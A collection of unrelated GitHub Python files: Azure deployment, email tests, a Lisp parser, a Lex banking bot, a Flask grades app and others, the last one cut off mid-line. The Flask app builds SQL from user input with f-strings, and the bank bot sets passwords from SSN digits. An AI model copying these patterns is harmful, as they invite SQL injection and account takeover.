variables.get(\"AZURE_RESOURCE_GROUP\")\n    if variables.get(\"AZURE_WORKSPACE_NAME\") is not None:\n        AZURE_WORKSPACE_NAME = variables.get(\"AZURE_WORKSPACE_NAME\")\n    if variables.get(\"MODEL_NAME\") is not None:\n        MODEL_NAME = variables.get(\"MODEL_NAME\")\n    if variables.get(\"MODEL_URL\") is not None:\n        MODEL_URL = variables.get(\"MODEL_URL\")\n    if variables.get(\"MODEL_DESCRIPTION\") is not None:\n        MODEL_DESCRIPTION = variables.get(\"MODEL_DESCRIPTION\")\n    if variables.get(\"SERVICE_NAME\") is not None:\n        SERVICE_NAME = variables.get(\"SERVICE_NAME\")\n    if variables.get(\"EXECUTION_SCRIPT_URL\") is not None:\n        EXECUTION_SCRIPT_URL = variables.get(\"EXECUTION_SCRIPT_URL\")\n        wget.download(EXECUTION_SCRIPT_URL,EXECUTION_SCRIPT_PATH)\n    if variables.get(\"CONDA_FILE_URL\") is not None:\n        CONDA_FILE_URL = variables.get(\"CONDA_FILE_URL\")\n\n#Set the interactive authentication\ninteractive_auth = InteractiveLoginAuthentication()\n\n#Set the interactive authentication\nws = Workspace.get(name=AZURE_WORKSPACE_NAME, auth=interactive_auth, subscription_id=AZURE_SUBSCRIPTION_ID,resource_group=AZURE_RESOURCE_GROUP)\nservice = Webservice(workspace=ws, name=SERVICE_NAME)\n\n#Get model\nMODEL_PATH = os.path.join(os.getcwd(),MODEL_PATH)\nwget.download(MODEL_URL,MODEL_PATH)\n\n#Register a new model\nnew_model = Model.register(model_path = MODEL_PATH,\n                       model_name = MODEL_NAME,\n                       description = MODEL_DESCRIPTION,\n                       workspace = ws)\n\n#Create a new image\nCONDA_FILE_PATH = os.path.join(os.getcwd(),CONDA_FILE_PATH)\nwget.download(CONDA_FILE_URL,CONDA_FILE_PATH)\ninference_config = InferenceConfig(entry_script=EXECUTION_SCRIPT_PATH, runtime=\"python\", conda_file=CONDA_FILE_PATH)\n\n#Update the service\n#service.update(image=None, tags=None, properties=None, description=None, auth_enabled=None, ssl_enabled=None, ssl_cert_pem_file=None, ssl_key_pem_file=None, ssl_cname=None, enable_app_insights=None, models=None, inference_config=None)\nservice.update(models=[new_model],inference_config=inference_config)\nprint(service.state)\nprint(service.get_logs())\nprint(\"service \",SERVICE_NAME,\" was updated successefuly\")\n\nvariables.put(\"SCORING_URI\",service.scoring_uri)\n\nprint(\"END \" + __file__)","repo_name":"ow2-proactive/proactive-examples","sub_path":"ModelAsService/resources/catalog/Azure_Update_Deployed_Service_Script.py","file_name":"Azure_Update_Deployed_Service_Script.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"9595236024","text":"import pytest\n\nfrom proper_forms.ftypes import type_email\n\n\nVALID_EMAILS = [\n    \"juanpablo@example.com\",\n    \"juan+pablo@example.com\",\n    \"juan.pablo@example.com\",\n    \"jps@nic.pe\",\n    \"my.common.email+proper@gmail.com\",\n    # from https://en.wikipedia.org/wiki/International_email\n    \"Abc@example.com\",\n    \"Abc.123@example.com\",\n    \"user+mailbox/department=shipping@example.com\",\n    \"!#$%&'*+-/=?^_`.{|}~@example.com\",\n    # International domains\n    \"test@mañana.com\",\n    \"ivan@екзампл.ком\",\n]\n\nVALID_UTF8_EMAILS = [\n    \"mañana@mañana.com\",\n    \"伊昭傑@郵件.商務\",\n    \"राम@मोहन.ईन्फो\",\n    \"юзер@екзампл.ком\",\n    \"θσερ@εχαμπλε.ψομ\",\n]\n\nINVALID_EMAILS = [\n    \"\",\n    \"lalala\",\n    \"aa@a\",\n    \"fail@test,com\",\n    \"Wrapped <a@example.com>\",\n    \"my@.leadingdot.com\",\n    \"my@．．leadingfwdot.com\",\n    \"my@..twodots.com\",\n    \"my@twodots..com\",\n    \"my@baddash.-.com\",\n    \"my@baddash.-a.com\",\n    \"my@baddash.b-.com\",\n    \".leadingdot@domain.com\",\n    \"..twodots@domain.com\",\n    \"twodots..here@domain.com\",\n    \"me@⒈wouldbeinvalid.com\",\n]\n\n\n@pytest.mark.parametrize(\"value\", VALID_EMAILS)\ndef test_type_email_valid(value):\n    assert type_email(value) == value\n\n\n@pytest.mark.parametrize(\"value\", INVALID_EMAILS)\ndef test_type_email_invalid(value):\n    assert type_email(value) is None\n\n\n@pytest.mark.parametrize(\"value\", VALID_UTF8_EMAILS)\ndef test_type_email_invalid_with_smtputf8(value):\n    assert type_email(value, allow_smtputf8=True) == value\n\n\n@pytest.mark.parametrize(\"value\", VALID_UTF8_EMAILS)\ndef test_type_email_invalid_without_smtputf8(value):\n    assert type_email(value, allow_smtputf8=False) is None\n","repo_name":"jpsca/proper-forms","sub_path":"tests/ftypes/test_type_email.py","file_name":"test_type_email.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"14891321476","text":"# -*- coding: utf-8 -*-\n\nimport re\nfrom types import boolean, is_boolean, integer, is_integer, value_of\nfrom errors import LispSyntaxError\n\nquote_names = {\n    'quote': \"'\",\n    'quasiquote': \"`\",\n    'unquote': \",\"\n}\nquote_ticks = dict((tick, name) for name, tick in quote_names.iteritems())\n\ndef parse(source):\n    \"\"\"Parse string representation of one single expression\n    into the corresponding Abstract Syntax Tree\"\"\"\n    source = remove_comments(source)\n    exp, rest = partition_exp(source)\n    if rest:\n        raise LispSyntaxError('Expected EOF')\n    elif exp[0] in quote_ticks:\n        return [quote_ticks[exp[0]], parse(exp[1:])]\n    elif exp[0] == \"(\":\n        end = find_matching_paren(exp)\n        return [parse(e) for e in split_exps(exp[1:end])]\n    else:\n        return atomize(exp)\n\ndef unparse(ast):\n    if is_boolean(ast):\n        return \"#t\" if value_of(ast) else \"#f\"\n    elif is_integer(ast):\n        return str(value_of(ast))\n    elif isinstance(ast, list):\n        if len(ast) > 0 and ast[0] in quote_names:\n            return \"%s%s\" % (quote_names[ast[0]], unparse(ast[1]))\n        else:\n            return \"(%s)\" % \" \".join([unparse(x) for x in ast])\n    else:\n        return str(ast)  # string, integer or Closure\n\ndef atomize(elem):\n    if elem == \"#f\":\n        return boolean(False)\n    elif elem == \"#t\":\n        return boolean(True)\n    elif elem.isdigit():\n        return integer(int(elem))\n    else: \n        return elem  # symbols or lists\n\ndef parse_multiple(source):\n    \"\"\"Creates a list of ASTs from program source \n    constituting multiple expressions\"\"\"\n    source = remove_comments(source)\n    return [parse(exp) for exp in split_exps(source)]\n\ndef split_exps(source):\n    \"\"\"Splits a source string into subexpressions \n    that can be parsed individually\"\"\"\n    rest = source.strip()\n    exps = []\n    while rest:\n        exp, rest = partition_exp(rest)\n        exps.append(exp)\n    return exps\n\ndef partition_exp(source):\n    \"\"\"Split string into (exp, rest) where exp is the \n    first expression in the string and rest is the \n    rest of the string after this expression.\"\"\"\n    source = source.strip()\n    if source[0] in quote_ticks:\n        exp, rest = partition_exp(source[1:])\n        return source[0] + exp, rest\n    elif source[0] == \"(\":\n        last = find_matching_paren(source)\n        return source[:last + 1], source[last + 1:]\n    else:\n        match = re.match(r\"^[^\\s)']+\", source)\n        end = match.end()\n        atom = source[:end]\n        return atom, source[end:]\n\ndef find_matching_paren(source, start=0):\n    \"\"\"Given a string and the index of an opening parenthesis, determine \n    the index of the matching closing paren\"\"\"\n    assert source[start] == '('\n    pos = start\n    open_brackets = 1\n    while open_brackets > 0:\n        pos += 1\n        if len(source) == pos:\n            raise LispSyntaxError(\"Unbalanced expression: %s\" % source[start:])\n        if source[pos] == '(':\n            open_brackets += 1\n        if source[pos] == ')':\n            open_brackets -= 1\n    return pos\n\ndef remove_comments(source):\n    return re.sub(r\";.*\\n\", \"\\n\", source)\n","repo_name":"kvalle/moo-lisp","sub_path":"moolisp/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25559253536","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n    def __init__(self, x: int, next: 'Node' = None, random: 'Node' = None):\n        self.val = int(x)\n        self.next = next\n        self.random = random\n\"\"\"\n\nclass Solution:\n    def copyRandomList(self, head: 'Optional[Node]') -> 'Optional[Node]':\n        \n        # we create our map for all of the linked list values,\n        # We need one edge case covered where there is a NULL value\n        node_dict = {None:None}\n        current = head\n        #first loop to put all values in the hash map\n        while current:\n            copy = Node(current.val)\n            node_dict[current] = copy\n            current = current.next\n\n        current = head\n        #second loop to connect the nodes.next and nodes.random\n        while current:\n            copy = node_dict[current] \n            copy.next = node_dict[current.next]\n            copy.random = node_dict[current.random]\n            current = current.next\n\n\n        #we return our list by calling the original head value\n        return node_dict[head]\n\n\n            \n\n\n\n        \n","repo_name":"AlexanderWeismannn/LeetCodeSolutions","sub_path":"138_CopyListWithRandomPointer.py","file_name":"138_CopyListWithRandomPointer.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37482390632","text":"import json\nimport os\nimport time\nimport boto3\nimport uuid\nimport logging\nfrom decimal import Decimal\n\nfrom boto3 import session\n\n\n#Configure logger\nlogger = logging.getLogger()\nlogger.setLevel(logging.DEBUG)\n\n\n#Initialize DynamoDB resource\ndyn_resource = boto3.resource('dynamodb')\ntbl_name = 'BankAccountsNew'\n\n\n\"\"\" --- Generic functions used to simplify interaction with Amazon Lex --- \"\"\"\n\ndef get_slots(intent_request):\n    return intent_request['sessionState']['intent']['slots']\n\n\n# def get_slot(intent_request, slotName):\n#     slots = try_ex(lambda: get_slots(intent_request))\n#     if slots is not None and slotName in slots and slots[slotName] is not None:\n#         return slots[slotName]['value']['interpretedValue']\n#     else:\n#         return None \n\n\ndef get_session_attributes(intent_request):\n    sessionState = intent_request['sessionState']\n    if 'sessionAttributes' in sessionState:\n        return sessionState['sessionAttributes']\n    \n    return {}\n\n\n\ndef close(intent_name, session_attributes, fulfillment_state, message):\n    '''Closes/Ends current Lex session with customer'''\n\n    response = {\n        'messages': [\n            message\n        ],\n        'sessionState': {\n            'dialogAction': {\n                'type': 'Close'           \n            },\n            'sessionAttributes': session_attributes,\n            'intent': {\n                'confirmationState': 'Confirmed',\n                'name': intent_name,\n                'state': fulfillment_state\n            }\n        }\n    }\n\n    return response\n    \n\n\ndef elicit_intent(session_attributes, message):\n    '''Informs Amazon Lex that the user is expected to respond with an utterance that includes an intent. '''\n    \n    return {\n        'sessionState':{\n            'dialogAction':{\n                'type':'ElicitIntent'\n            },\n            'sessionAttributes': session_attributes\n        },\n        'messages': [message] if message != None else None\n    }\n\n\ndef confirm_intent(session_attributes, intent_name, slots, message):\n    '''Informs Amazon Lex that the user is expected to give a yes or no answer to confirm or deny the current intent'''\n    return {\n        'messages': [\n            message\n        ],\n        'sessionState': {\n            'sessionAttributes': session_attributes,\n            'dialogAction': {\n                'type': 'ConfirmIntent'\n            },\n            'intent': {\n                'name': intent_name,\n                'slots': slots\n            }\n        }\n    }\n\n\ndef elicit_slot(intent_name, slots, violated_slot, session_attributes, message):\n    '''Re-prompts user to provide a slot value in the response'''\n    return {\n        'sessionState':{\n            'sessionAttributes': session_attributes,\n            'dialogAction':{\n                'slotToElicit': violated_slot,\n                'type':'ElicitSlot'\n            },\n            'intent':{\n                'confirmationState': 'Denied',\n                'name':intent_name,\n                'slots':slots,\n                'state':'InProgress'\n            }\n        },\n        'messages': [message] if message != None else None\n    }\n\n\ndef delegate(intent_name, slots, session_attributes):\n    '''Directs Amazon Lex to choose the next course of action based on the bot configuration. '''\n    return {\n        'sessionState':{\n            'sessionAttributes': session_attributes,\n            'dialogAction':{\n                'type':'Delegate'\n            },\n            'intent':{\n                'name':intent_name,\n                'slots': slots\n            }\n        }\n    }\n\n\n''' --- Validation Functions --- '''\n\ndef build_validation_result(is_valid, violated_slot, message_content):\n\n    return {\n        'isValid': is_valid,\n        'violatedSlot': violated_slot,\n        'message':{\n            'contentType':'PlainText',\n            'content': message_content\n        }\n    }\n\ndef isValid_Word(word):\n\n    if word:\n        try:\n            if word.isalpha(): \n                return True\n        except ValueError:\n            return False\n\n    return False\n\ndef isValid_Pin(pin):\n    \n    if pin:\n        try:\n            pin = str(pin)\n            logger.info(f'isValid PinNumber={pin}')\n            if (pin.isnumeric() == 1) & (len(pin) == 4): \n                return True\n        except ValueError:\n            return False\n    \n    return False\n\n\ndef isValid_AccountType(accountType):\n\n    account_types = ['checking', 'savings', 'checkings','saving']\n\n    return accountType.lower() in account_types\n\n\ndef isValid_SSN(ssn):\n\n    if ssn:\n        try:\n            ssn = str(ssn)\n            if ssn.isnumeric() & (len(ssn) == 12):\n                return True\n        except ValueError:\n            return False\n\n    return False\n\n\ndef validate_account_information(slots, session_attributes):\n\n    #Get slots\n    firstName = try_ex(lambda: session_attributes['FirstName'])\n    lastName = try_ex(lambda: slots['LastName'])\n    accountType = try_ex(lambda: slots['accountType'])\n    pin = try_ex(lambda: slots['pin'])\n    ssn = try_ex(lambda: slots['SSN'])\n\n    logger.info(f'accountType={accountType}, firstName={firstName}, pin={pin}')\n\n    if accountType and not isValid_AccountType(accountType['value']['interpretedValue']):\n        return build_validation_result(\n            False,\n            'accountType',\n            f'Sorry {firstName}, I did not understand. Would you like to open a Checking account or a Savings account?'\n        )\n    \n    if ssn and not isValid_SSN(ssn['value']['interpretedValue']):\n        return build_validation_result(\n            False,\n            'SSN',\n            f'Sorry {firstName}, I did not understand. Could you please repeat your twelve digit Social Security Number.'\n        )\n\n    if lastName and not isValid_Word(lastName['value']['interpretedValue']):\n        return build_validation_result(\n            False,\n            'lastName',\n            f\"<speak> Sorry {firstName}, I did not understand, May you repeat your last name to me once more, it would help if you could spell it out for me, like <say-as interpret-as='spell-out' Hello </say-as> </speak>\"\n        )\n\n    if pin:\n        logger.info(f'pin={pin} and user_pin={user_pin}')\n        if not isValid_Pin(pin['value']['interpretedValue']):\n            return build_validation_result(\n                False,\n                'pin',\n                f'Sorry {firstName}, this is not a valid pin. Please tell us the four digit pin number you would like to use for your account.'\n            )\n    \n    return {'isValid':True}\n\n\n    \n\"\"\" --- Helper Functions --- \"\"\"\n\n\ndef try_ex(func):\n    \"\"\"\n    Call passed in function in try block. If KeyError is encountered return None.\n    This function is intended to be used to safely access dictionary.\n    Note that this function would have negative impact on performance.\n    \"\"\"\n\n    try:\n        return func()\n    except KeyError:\n        return None\n\ndef getValid_AccountNumber():\n\n    table_name = tbl_name\n\n    accountNumber = Decimal(str(uuid.uuid4().int)[:12])\n\n    table = dyn_resource.Table(table_name)\n\n    try:\n        response = table.get_item(Key={\n            'AccountNumber': Decimal(accountNumber)\n        })['Item']\n    except KeyError:\n        return accountNumber\n\n    return getValid_AccountNumber()\n\n\ndef write_item_dynamodb(items):\n    '''Inserts element into DynamoDB'''\n    from botocore.exceptions import ClientError\n\n    table_name = tbl_name\n\n    table = dyn_resource.Table(table_name)\n\n    try:\n        response = table.put_item(Item=items)\n    except ClientError as err:\n        if err.response['Error']['Code'] == 'InternalError':\n            logger.info('Error Message: {}'.format(err.response['Error']['Message']))\n        else:\n            raise err\n\n    return True\n\n\ndef process(sessionAttributes, slots):\n\n    response = {\n        'AccountNumber': { \"N\": sessionAttributes['accountNumber']},\n        'Pin': { 'N': slots['pin']},\n        'AccountType':{'S': slots['accountType']},\n        'FirstName': {'S': sessionAttributes['firstName']},\n        'LastName': {'S': slots['lastName']},\n        'SSN': {'N': slots['SSN']}\n    }\n\n    return response\n\n\n\"\"\" --- Functions that control the bot's behavior --- \"\"\"\n    \n\ndef OpenAccount(intent_request):\n\n    #Set DynamoDB table name\n    table_name = tbl_name\n\n    #Initialize required response parameters\n    intent_name = intent_request['sessionState']['intent']['name']\n    session_attributes = get_session_attributes(intent_request)\n    source = intent_request['invocationSource']\n    confirmation_status = intent_request['sessionState']['intent']['confirmationState']\n    slots = get_slots(intent_request)\n\n    logger.info(f'source={source}, slots={slots}, confirmation_status={confirmation_status}')\n\n    if source == 'DialogCodeHook':\n        #Validate any slots which have been specified If any invalid, re-elicit for the slot value.\n        validation_result = validate_account_information(slots, session_attributes)\n        logger.info('validation_result is {} for the slot={}'.format(validation_result['isValid'],slots))\n        if not validation_result['isValid']:\n            slots[validation_result['violatedSlot']] = None \n            logger.debug(f'slots={slots}')\n            logger.info('violatedSlot={}, message={}'.format(validation_result['violatedSlot'], validation_result['message']))\n            if validation_result['violatedSlot'] == 'LastName':\n                return {\n        'sessionState':{\n            'sessionAttributes': session_attributes,\n            'dialogAction':{\n                'slotElicitationStyle': 'SpellByLetter',\n                'slotToElicit': 'LastName',\n                'type':'ElicitSlot',\n\n            },\n            'intent':{\n                'confirmationState': 'Denied',\n                'name':intent_name,\n                'slots':slots,\n                'state':'InProgress'\n            }\n        },\n        'messages': validation_result['message']\n    }\n            else:\n                return elicit_slot(\n                    intent_name,\n                    slots,\n                    validation_result['violatedSlot'],\n                    session_attributes,\n                    validation_result['message']\n                )\n        \n        return delegate(intent_name,intent_request['sessionState']['intent']['slots'] ,session_attributes)\n\n\n    session_attributes['accountNumber'] = getValid_AccountNumber()\n\n    firstName = session_attributes['FirstName']\n    lastName = slots['LastName']\n    accountType = slots['AccountType']\n\n    #Process information into dictionary for DynamoDB entry format\n    db_entry = process(session_attributes, slots)\n\n    #Write processed informtion into DynamoDB\n    if write_item_dynamodb(db_entry):\n\n        logger.info(f'firstName={firstName}, lastName={lastName}, accountType={accountType}')\n        logger.info(f'Info to be put into Database: {db_entry}')\n\n        out1 =  f'Awesome! We have finished processing your information and your new {accountType} is now open and ready for use.'\n        out2 = f'You can log in with username {lastName} and the password is the last four of your social. You can change this in settings.'\n        out3 = f'Thank you {firstName} for choosing to open an account with Example Bank. We appreciate your business. '\n        out4= f'Please stay on the line if you would like to take part in a customer experience survey.'\n        output = out1+out2+out3+out4\n        fulfillment_state = 'Fulfilled'\n\n        message = {'contentType':'PlainText', 'content':output}\n        \n        return close(intent_name, session_attributes, fulfillment_state, message)\n    \n    else:\n        raise Exception('Error writing into DynamoDB')\n\n\n\n''' --- INTENTS --- '''\n\n\ndef dispatch(intent_request):\n\n    intent_name = intent_request['sessionState']['intent']['name']\n\n    #Dispatch to bot's intent handlers\n    if intent_name == 'OpenAccount':\n        return OpenAccount(intent_request)\n    \n    raise Exception('Intent with name ' + intent_name + ' not supported')\n\n\n\n\n''' --- MAIN handler --- '''\n\n\ndef lambda_handler(event, context):\n    \n    # By default, treat the user request as coming from the America/New_York time zone.\n    os.environ['TZ'] = 'America/New_York'\n    time.tzset()\n\n\n    bot_name = event['bot']['name']\n    userMessage = event['inputTranscript'] #string\n    inputType = event['inputMode'] #DTMF | Speech | Text\n    \n\n    logger.info(f'event.bot.name={bot_name}, userMessage={userMessage}, inputType={inputType}')\n\n\n    return dispatch(event)\n\n\n\n","repo_name":"ganton000/Bank_Contact_Flow","sub_path":"Bank_OpenAccount_V2_Lambda.py","file_name":"Bank_OpenAccount_V2_Lambda.py","file_ext":"py","file_size_in_byte":12532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18102422817","text":"\"\"\"Headings and cross-references.\"\"\"\n\nimport sys\n\nimport shortcodes\n\nimport util\n\n\n@shortcodes.register(\"x\")\ndef heading_ref(pargs, kwargs, node):\n    \"\"\"Handle [%x slug %] section reference.\"\"\"\n    util.require(\n        (len(pargs) == 1) and not kwargs,\n        f\"Bad 'x' shortcode {pargs} and {kwargs}\"\n    )\n    headings = util.get_config(\"headings\")\n    slug = pargs[0]\n    try:\n        heading = headings[slug]\n        label = util.make_label(\"part\", heading.number)\n        anchor = f\"#{slug}\" if (len(heading.number) > 1) else \"\"\n        cls = 'class=\"x-ref\"'\n        return f'<a {cls} href=\"@root/{heading.fileslug}/{anchor}\">{label}</a>'\n    except KeyError:\n        print(f\"Unknown part cross-reference key {slug}\", file=sys.stderr)\n        return \"FIXME\"\n","repo_name":"software-tools-books/stjs","sub_path":"lib/mccole/extensions/heading.py","file_name":"heading.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"3"}
+{"seq_id":"34378536892","text":"import numpy as np\nfrom numpy import loadtxt\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow import keras\n\n\n...\n# load the dataset\ndataset = loadtxt('f.csv', delimiter=',')\nM= dataset[:,0:19]\nm= np.amax(M)\n\n# split into input (X) and output (y) variables\nX = dataset[150000:200000,0:19]/m  # scale it\ny = dataset[150000:200000,20]\nprint(m)\n# the maximum value cam as 294.49 \n\n# uncomment to use the saved model\nmodel = keras.models.load_model('ai_detector.keras-2')\n\n\n#model building\n\n# model = Sequential()\n# model.add(Dense(12, input_shape=(X.shape[1],), activation='relu'))\n# model.add(Dense(20, activation='relu'))\n# model.add(Dense(1, activation='sigmoid'))\n\n# model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n# model.fit(X, y, epochs=150, batch_size=10)\n\n#_, accuracy = model.evaluate(X, y)\nfor i in range(10000):\n    o= model.predict(dataset[30000+i,0:19].reshape((1,19)),verbose=\"none\")\n    print(o[0][0])\n    if(o[0][0]>0):\n        print(\"found\")\n#print('Accuracy: %.2f' % (accuracy*100))\n#model.save('ai_detector.keras')\n#model = keras.models.load_model('ai_detector.keras')","repo_name":"raghuramlavan/bits-project","sub_path":"neural_traing.py","file_name":"neural_traing.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29182616287","text":"import pytest\n\nfrom infra.walle.server.tests.lib.util import monkeypatch_method\nfrom infra.walle.server.tests.scenario.utils import get_scenario_params, make_mock_host_stage, mock_scenario\nfrom walle.scenario.constants import ConditionFunction, StageName\nfrom walle.scenario.marker import Marker\nfrom walle.scenario.scenario import Scenario\nfrom walle.scenario.stage.conditional_host_stage import ConditionalHostStage, ChoiceFuncRegistry\nfrom walle.scenario.stage_info import StageInfo\nfrom walle.scenario.stages import RebootHostStage, HostRootStage, ScenarioRootStage, StageRegistry\n\n\n@pytest.fixture\ndef mock_registry(mp):\n    mp.setattr(ChoiceFuncRegistry, \"ITEMS\", ChoiceFuncRegistry.ITEMS.copy())\n    monkeypatch_method(mp, ChoiceFuncRegistry.get, obj=ChoiceFuncRegistry, return_value=func_return_true)\n    mp.setattr(StageRegistry, \"ITEMS\", StageRegistry.ITEMS.copy())\n\n\ndef func_return_true(*args):\n    return True\n\n\ndef func_return_false(*args):\n    return False\n\n\nclass TestLambdaHostStage:\n    TICKET_KEY = \"TEST-1\"\n\n    def test_stage_serialize_and_deserialize(self):\n        script = ScenarioRootStage(\n            [ConditionalHostStage([RebootHostStage()], condition_func=ConditionFunction.ITDC_MAINTENANCE_REBOOT_NEEDED)]\n        )\n        serialized_script = script.serialize()\n\n        assert serialized_script.stages[0].name == StageName.ConditionalHostStage\n        assert serialized_script.stages[0].stages[0].name == StageName.RebootHostStage\n\n        deserialized_script = serialized_script.deserialize()\n\n        assert isinstance(deserialized_script.children[0], ConditionalHostStage)\n        assert isinstance(deserialized_script.children[0].children[0], RebootHostStage)\n\n    @pytest.mark.parametrize([\"func\", \"result\"], [(func_return_false, False), (func_return_true, True)])\n    def test_check_condition(self, mp, func, result):\n        monkeypatch_method(mp, ChoiceFuncRegistry.get, obj=ChoiceFuncRegistry, return_value=func)\n\n        stage = ConditionalHostStage([make_mock_host_stage()], condition_func=str(func))\n        scenario = Scenario(ticket_key=self.TICKET_KEY, **get_scenario_params())\n        stage_info = StageInfo()\n        assert stage._check_condition(stage_info, scenario, None) == result\n        assert stage_info.data[stage.CONDITION_CHECKED] is True\n\n    def test_simple_run(self, walle_test, mock_registry):\n        host_script = HostRootStage(\n            [\n                ConditionalHostStage([make_mock_host_stage()], condition_func=func_return_true),\n                ConditionalHostStage([make_mock_host_stage()], condition_func=func_return_true),\n            ]\n        )\n        stage_info = host_script.serialize()\n        scenario_stage_info = host_script.serialize()\n\n        host = walle_test.mock_host()\n        scenario = mock_scenario()\n\n        assert host_script.run(stage_info, scenario, host, scenario_stage_info) == Marker.in_progress(\n            message=\"Stage runs child stages\"\n        )\n        assert host_script.run(stage_info, scenario, host, scenario_stage_info) == Marker.success(\n            message=\"Stage has successfully executed all of its child stages\"\n        )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/tests/scenario/stage/test_conditional_host_stage.py","file_name":"test_conditional_host_stage.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18932056644","text":"from Arbeidskrav5_AcountClass import Acount\n\nclass ATMMachine():\n    def __init__(self, bankList = []):\n        self.bankList = bankList\n        self.acountid = 0\n\n    def checkID(self):\n        print(\"Enter an acount ID: \", end = '')\n        id = int(input())\n        for i in range(0, len(self.bankList)):\n           # if id == int(Acount.getId(self.bankList[i])):\n            if id == self.bankList[i].getId():\n                self.acountid = i\n            \n        if self.acountid >= 1:\n            self.getAChoice()\n        else: \n            print(f'No match')\n        \n    def runAtm(self, choice):    \n        if choice == 1: \n            print(f'The balance is {Acount.getBalance(self.bankList[self.acountid])}') #Endre lik linje 12\n            self.getAChoice()\n        elif choice == 2:\n            number = float(input('Enter an amount to withdraw: '))\n            self.bankList[self.acountid].setWithdraw(number) #fjerne \"set\"\n            self.getAChoice()\n        elif choice == 3: \n            number = float(input(\"Enter an amount to deposit: \"))\n            self.bankList[self.acountid].setDeposit(number) #fjerne \"set\"\n            self.getAChoice()\n        else: \n            self.checkID()\n\n    def getAChoice(self):\n        while True:\n            print(\"\\nMain menu\")\n            print(\"1: check balance\")\n            print(\"2: withdraw\")\n            print(\"3: deposit\")\n            print(\"4: exit\")\n            print(\"Enter a choice: \", end = '')\n            choice = int(input())\n            if choice < 1 or choice > 4:\n                print(\"Wrong choice, try again: \", end = \"\")\n            else:\n                self.runAtm(choice)\n\ndef main():\n    if __name__ == \"__main__\":\n        banklist2 = []\n        for i in range(0, 10):\n            banklist2.append(Acount(i))\n    \n        atm = ATMMachine(banklist2)\n        atm.checkID()\n\nmain()\n\n\n","repo_name":"kristofferp95/Arbeidskrav-og-eksamen","sub_path":"Arbeidskrav5_ATM_Machine (2).py","file_name":"Arbeidskrav5_ATM_Machine (2).py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42811490609","text":"from typing import List\n\n\nclass Solution:\n    def daysBetweenDates(self, date1: str, date2: str) -> int:\n        def span(d):\n            l = d.split('-')\n            days = 0\n            year, month, day = int(l[0]), int(l[1]), int(l[2])\n            for y in range(1970, year):\n                days += 366 if (y % 4 == 0 and y %\n                                100 != 0) or y % 400 == 0 else 365\n            isleap = (year % 4 == 0 and year %\n                      100 != 0) or year % 400 == 0\n            months = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n            sum_months = [0] * 13\n            for i in range(len(months)):\n                item = months[i]\n                if i == 1 and isleap:\n                    item += 1\n                sum_months[i+1] = sum_months[i] + item\n            days += sum_months[month-1] + day - 1\n            return days\n        return abs(span(date1)-span(date2))\n\n\nif __name__ == \"__main__\":\n    s = Solution()\n    result = s.daysBetweenDates(\"2060-08-18\", \"2001-08-25\")\n    print(result)\n","repo_name":"kenwoov/PlayLeetCode","sub_path":"Algorithms/Easy/1360. Number of Days Between Two Dates/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15672123653","text":"n,k=map(int,input().split())\r\nres=240-k\r\ncount=0\r\nsum =0\r\nfor i in range(1, n+1):\r\n    z=5*i\r\n    sum=sum+z\r\n    if sum>res:\r\n        break\r\n    count=count+1\r\nprint(count)\r\n    \r\n","repo_name":"Ashikur-CSE/Problem-Solving","sub_path":"A. New Year and Hurry.py","file_name":"A. New Year and Hurry.py","file_ext":"py","file_size_in_byte":180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28132722822","text":"\nfrom flask import Flask, render_template, url_for,request,redirect\napp = Flask(__name__)\nimport sqlite3\n\nconnection = sqlite3.connect('students.db',check_same_thread=False)\n\n\n\ntable = \"\"\"CREATE TABLE users(\n           name VARCHAR(15),\n           lastname VARCHAR(15),\n           Math VARCHAR(3),\n           History VARCHAR(3),\n           Python VARCHAR(3),\n           Average VARCHAR(4)\n         );\"\"\"\ncursor = connection.cursor()\n# თუ table users არ გაქვთ შექმნილი მოხსენით კომენტარი 20-21 linebs,გაუშვით კოდი და ისევ დაკომენტარეთ.\n# cursor.execute(table)\n# connection.commit()\n# ვქმნი ზოგად ფუნქციას რომელსაც ევალება შეინახოს ინფორმაცია ბაზაში, ქულები სახელიდა გვარი\ndef insertInformationIndb(name,lastname,math,history,python):\n    math1 = int(math)\n    history1 = int(history)\n    python1 = int(python)\n    average = int((math1+history1+python1)/3)\n    average = str(average)\n    # ვამოწმებ რომ ქულები იყოს 0-100 ამდე, მხოლოდ ამ შემთხვევაში შემაქვს ბაზაში\n    if python1>=0 and python1<=100 and math1>=0 and math1<=100 and history1>=0 and history1<=100 :\n        if float(average) > 50:\n            code = f'INSERT INTO users VALUES(\"{name}\",\"{lastname}\",\"{math1}\",\"{history1}\",\"{python1}\",\"{average}\",\"green\")'\n            cursor.execute(code)\n            connection.commit() \n        else:  \n            code = f'INSERT INTO users 